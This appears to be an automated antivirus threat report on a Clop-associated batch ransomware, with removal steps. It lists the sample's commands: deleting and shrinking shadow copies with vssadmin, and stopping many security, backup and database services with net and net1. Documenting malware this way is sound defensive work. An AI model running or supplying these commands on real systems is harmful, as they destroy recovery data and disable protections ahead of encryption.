ALIASES:

Ransom:BAT/Clop.D (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 6,412 bytes
File Type: COM
Memory Resident: Yes
Initial Samples Received Date: 04 Nov 2019

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware adds the following processes:

  • vssadmin resize shadowstorage /for=%System Root% /on=%System Root% /maxsize=401MB
  • vssadmin resize shadowstorage /for=%System Root% /on=%System Root% /maxsize=unbounded
  • vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
  • vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  • vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  • vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  • vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  • vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  • vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  • vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  • vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  • vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  • vssadmin Delete Shadows /all /quiet
  • net stop SQLAgent$SYSTEM_BGC /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos Device Control Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop macmnsvc /y
  • net stop SQLAgent$ECWDB2 /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Zoolz 2 Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop McTaskManager /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos AutoUpdate Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos System Protection Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop EraserSvc11710 /y
  • net stop PDVFSService /y
  • net stop SQLAgent$PROFXENGAGEMENT /y
  • net stop SAVService /y
  • net stop MSSQLFDLauncher$TPSAMA /y
  • net stop EPSecurityService /y
  • net stop SQLAgent$SOPHOS /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Symantec System Recovery\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop Antivirus /y
  • net stop SstpSvc /y
  • net stop MSOLAP$SQL_2008 /y
  • net stop TrueKeyServiceHelper /y
  • net stop sacsvr /y
  • net stop VeeamNFSSvc /y
  • net stop FA_Scheduler /y
  • net stop SAVAdminService /y
  • net stop EPUpdateService /y
  • net stop VeeamTransportSvc /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos Health Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop bedbg /y
  • net stop MSSQLSERVER /y
  • net stop KAVFS /y
  • net stop Smcinst /y
  • net stop MSSQLServerADHelper100 /y
  • net stop TmCCSF /y
  • net stop wbengine /y
  • net stop SQLWriter /y
  • net stop MSSQLFDLauncher$TPS /y
  • net stop SmcService /y
  • net stop ReportServer$TPSAMA /y
  • net stop swi_update /y
  • net stop AcrSch2Svc /y
  • net stop MSSQL$SYSTEM_BGC /y
  • net stop VeeamBrokerSvc /y
  • net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  • net stop VeeamDeploymentService /y
  • net stop SQLAgent$TPS /y
  • net stop DCAgent /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos Message Router\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop MSSQLFDLauncher$SBSMONITORING /y
  • net stop MySQL80 /y
  • net stop MSOLAP$SYSTEM_BGC /y
  • net stop ReportServer$TPS /y
  • net stop MSSQL$ECWDB2 /y
  • net stop SntpService /y
  • net stop SQLSERVERAGENT /y
  • net stop BackupExecManagementService /y
  • net stop SMTPSvc /y
  • net stop mfefire /y
  • net stop BackupExecRPCService /y
  • net stop MSSQL$VEEAMSQL2008R2 /y
  • net stop klnagent /y
  • net stop MSExchangeSA /y
  • net stop MSSQLServerADHelper /y
  • net stop SQLTELEMETRY /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos Clean Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop swi_update_64 /y
  • net stop \xce\x93\xc3\x87\xc2\xa3Sophos Web Control Service\xce\x93\xc3\x87\xc2\xa5 /y
  • net stop EhttpSrv /y
  • net stop POP3Svc /y
  • net stop MSOLAP$TPSAMA /y
  • net stop McAfeeEngineService /y
  • %System%\net1 stop SQLAgent$SYSTEM_BGC /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos Device Control Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop macmnsvc /y
  • %System%\net1 stop SQLAgent$ECWDB2 /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Zoolz 2 Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop McTaskManager /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos AutoUpdate Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos System Protection Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop EraserSvc11710 /y
  • %System%\net1 stop PDVFSService /y
  • %System%\net1 stop SQLAgent$PROFXENGAGEMENT /y
  • %System%\net1 stop SAVService /y
  • %System%\net1 stop MSSQLFDLauncher$TPSAMA /y
  • %System%\net1 stop EPSecurityService /y
  • %System%\net1 stop SQLAgent$SOPHOS /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Symantec System Recovery\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop Antivirus /y
  • %System%\net1 stop SstpSvc /y
  • %System%\net1 stop MSOLAP$SQL_2008 /y
  • %System%\net1 stop TrueKeyServiceHelper /y
  • %System%\net1 stop sacsvr /y
  • %System%\net1 stop VeeamNFSSvc /y
  • %System%\net1 stop FA_Scheduler /y
  • %System%\net1 stop SAVAdminService /y
  • %System%\net1 stop EPUpdateService /y
  • %System%\net1 stop VeeamTransportSvc /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos Health Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop bedbg /y
  • %System%\net1 stop MSSQLSERVER /y
  • %System%\net1 stop KAVFS /y
  • %System%\net1 stop Smcinst /y
  • %System%\net1 stop MSSQLServerADHelper100 /y
  • %System%\net1 stop TmCCSF /y
  • %System%\net1 stop wbengine /y
  • %System%\net1 stop SQLWriter /y
  • %System%\net1 stop MSSQLFDLauncher$TPS /y
  • %System%\net1 stop SmcService /y
  • %System%\net1 stop ReportServer$TPSAMA /y
  • %System%\net1 stop swi_update /y
  • %System%\net1 stop AcrSch2Svc /y
  • %System%\net1 stop MSSQL$SYSTEM_BGC /y
  • %System%\net1 stop VeeamBrokerSvc /y
  • %System%\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  • %System%\net1 stop VeeamDeploymentService /y
  • %System%\net1 stop SQLAgent$TPS /y
  • %System%\net1 stop DCAgent /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos Message Router\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop MSSQLFDLauncher$SBSMONITORING /y
  • %System%\net1 stop MySQL80 /y
  • %System%\net1 stop MSOLAP$SYSTEM_BGC /y
  • %System%\net1 stop ReportServer$TPS /y
  • %System%\net1 stop MSSQL$ECWDB2 /y
  • %System%\net1 stop SntpService /y
  • %System%\net1 stop SQLSERVERAGENT /y
  • %System%\net1 stop BackupExecManagementService /y
  • %System%\net1 stop SMTPSvc /y
  • %System%\net1 stop mfefire /y
  • %System%\net1 stop BackupExecRPCService /y
  • %System%\net1 stop MSSQL$VEEAMSQL2008R2 /y
  • %System%\net1 stop klnagent /y
  • %System%\net1 stop MSExchangeSA /y
  • %System%\net1 stop MSSQLServerADHelper /y
  • %System%\net1 stop SQLTELEMETRY /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos Clean Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop swi_update_64 /y
  • %System%\net1 stop \xce\x93\xc3\x87\xc2\xa3Sophos Web Control Service\xce\x93\xc3\x87\xc2\xa5 /y
  • %System%\net1 stop EhttpSrv /y
  • %System%\net1 stop POP3Svc /y
  • %System%\net1 stop MSOLAP$TPSAMA /y
  • %System%\net1 stop McAfeeEngineService /y

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Ransom.BAT.STOP.A

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Ransom.BAT.STOP.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 4

Restore encrypted files from backup.


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